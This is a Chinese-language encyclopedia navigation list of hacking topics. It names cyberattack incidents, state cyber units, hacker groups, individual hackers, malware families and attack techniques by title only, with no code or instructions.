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事件:  2003年骤雨计划  2009年极光行动  2010年澳大利亚网络攻击（英语：）  2010年偿还行动（英语：）  2011年DigiNotar黑客入侵事件  2011年突尼斯行动（英语：）  2011年PSN个人信息泄露事件  2011年反安全行动（英语：）  2012–2013年斯特拉特福公司电邮泄露事件  2012年领英黑客入侵事件（英语：）  2013年南韩网络攻击（英语：）  2013年Snapchat黑客入侵事件  2014年Tovar行动（英语：）  2014年日本文殊核电站电脑病毒事件  2014年名人照片泄露事件  2014年心脏出血漏洞  2014年破壳漏洞  2014年贵宾犬漏洞  2014年索尼影业黑客入侵事件  2015年FREAK漏洞  2015年美国联邦人事管理局资料外泄案  伟易达集团  孟加拉银行遭黑客入侵事件  Dyn网络攻击  俄羅斯干預美國總統選舉  WannaCry勒索病毒  2017年威斯敏斯特网络攻击（英语：）  Petya勒索病毒 2017年乌克兰受网络攻击事件（英语：）  Equifax数据泄露  德勤  熔毀/幽灵漏洞  美国中央情报局被指对中国大陆网络渗透攻击  Zoom轟炸  Twitter比特币骗局  2020年美国联邦政府数据泄露事件  殖民管道網絡攻擊  Log4j2漏洞事件  2022年俄罗斯对乌克兰的网络攻击  2022年哥斯达黎加政府遭勒索软件攻击  上海公安數據庫泄露事件  2022年西北工业大学遭网络攻击事件  2023年美国五角大楼文件泄露事件  2024年角川与Niconico被入侵瘫痪 
政府机构:    美国国家安全局特定入侵行动办公室  美国互联网犯罪投诉中心（英语：）  中华人民共和国国家计算机网络与信息安全管理中心  中国人民解放军战略支援部队（已撤销） 61398部队  61486部队  中国人民解放军网络空间部队  朝鲜网络部队（日语：）（朝鮮人民軍第121局）  叙利亚电子军（英语：）  日本网络防卫队（日语：）  国际打击网络威胁多边伙伴（英语：）  欧洲网络犯罪中心（英语：）  中華民國數位發展部  中華民國國防部資通電軍指揮部  烏克蘭資訊科技軍  新加坡共和國數碼部隊 
黑客组织:  匿名者 乌克兰战争期间的行动（英语：）  匿名者64  网络金雕（英语：）  Derp（英语：）  Goatse安全（英语：）  Hacking Team  蜥蜴小队（英语：）  LulzRaft（英语：）  LulzSec  NullCrew（英语：）  RedHack（英语：）  TeaMp0isoN（英语：）  地下纳粹（英语：）  混沌计算机俱乐部  死牛崇拜  红客  韩国网络外交使节团  L0pht重工  方程式  隱形人安全集團  DarkSide  APT 27  网络游击队 
个人:  陳盈豪  约翰·德雷珀（英语：）  凯文·米特尼克  下村努  罗伯特·泰潘·莫里斯  凱文·  阿德里安·拉莫  Donncha O'Cearbhaill（英语：）  杰里米·哈蒙德（英语：）  乔治·霍兹  古驰法（英语：）  阿尔伯特·冈萨雷斯（英语：）  赫克特·蒙赛格 (萨布)（英语：）  杰克·戴维斯 (绿色雕塑)（英语：）  小丑（英语：）  weev（英语：）  加里·麦金农（英语：） 
恶意软件:  Careto (面具)（英语：）  CryptoLocker  Dexter（英语：）  毒区（英语：）  FinFisher（英语：）  火焰  Gameover ZeuS（英语：）  Mahdi（英语：）  Metulji僵尸网络（英语：）  NSA ANT产品目录（英语：）  R2D2（英语：）  Shamoon（英语：）  Stars（英语：）  震网  黑暗幽灵 (DCM)  震荡波蠕虫  手机恶意软件（英语：）  TeslaCrypt  VPNFilter  WannaCry  Petya  瑞晶  peacenotwar（英语：） 
概念·思想:  《黑客宣言》  网络战  網路恐怖主義  黑客行动主义  駭客  电脑犯罪  软件破解（逆向工程） 
手段·技术:  安全漏洞  漏洞利用  高级长期威胁（APT）  零日攻击  DNS污染  缓冲区溢出  堆风水（英语：）  堆噴射（英语：）  穷举攻击/蛮力攻击  跨站脚本攻击（XSS）  水坑攻击  偷渡式下载  SQL注入  中间人攻击  中途相遇攻擊  谷歌駭侵法